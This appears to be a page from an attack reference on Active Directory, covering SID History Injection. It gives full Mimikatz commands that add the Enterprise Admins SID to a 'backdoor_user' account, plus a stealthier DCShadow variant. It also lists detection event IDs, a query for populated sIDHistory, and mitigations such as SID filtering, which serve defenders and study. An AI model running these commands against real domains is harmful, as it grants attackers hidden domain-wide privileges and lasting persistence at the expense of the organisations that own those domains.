AD ^: Active Directory

Attack #63 — SID History Injection

sIDHistory is an AD attribute designed for domain migrations — it preserves a user's old SID so they retain access to resources from a previous domain. An…

advanced updated 2026-08-10 Mimikatz · PowerShell

🟤 Attack #63 — SID History Injection


📖 How It Works

sIDHistory is an AD attribute designed for domain migrations — it preserves a user’s old SID so they retain access to resources from a previous domain. An attacker can inject the SID of a privileged group (e.g., Enterprise Admins, SID S-1-5-21-<domain>-519) into a normal user’s sIDHistory, granting them those privileges without actually being a member of the group.

This is typically done via Mimikatz sid::add or DCShadow.


⚙️ Prerequisites

RequirementDetail
Domain Admin / SYSTEM on DCRequired to modify sIDHistory
Or DCShadow capabilityAlternative injection method

💻 Full Commands

# ── Mimikatz — inject Enterprise Admin SID into user's SID History ───────────
mimikatz.exe
privilege::debug
sid::patch
sid::add /sam:backdoor_user /new:S-1-5-21-<domain_SID>-519
# 519 = Enterprise Admins
# 512 = Domain Admins
# 500 = Administrator RID

# ── Verify ────────────────────────────────────────────────────────────────────
Get-ADUser backdoor_user -Properties sIDHistory | Select sIDHistory

# ── DCShadow method (stealthier) ──────────────────────────────────────────────
# Terminal 1 (SYSTEM): lsadump::dcshadow /object:backdoor_user /attribute:sidHistory /value:S-1-5-21-...-519
# Terminal 2 (DA): lsadump::dcshadow /push

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4765Security Log (DC)SID History was added to an account
4766Security Log (DC)SID History add attempt failed
4738Security Log (DC)User account changed — sIDHistory modified

Detection tip: Query for users with sIDHistory populated: Get-ADUser -Filter {sIDHistory -like "*"} -Properties sIDHistory


🔗 Attack Chain Context

[SID History] ──→ Invisible Privilege Escalation via SID Injection

         ├──→ 🔑 User appears normal but has hidden EA/DA privileges
         ├──→ 🔗 Used for: cross-domain trust abuse (#68), persistence
         └──→ 💀 Defeated by: audit sIDHistory, SID filtering on trusts, monitor 4765

Attack #63 — SID History Injection complete.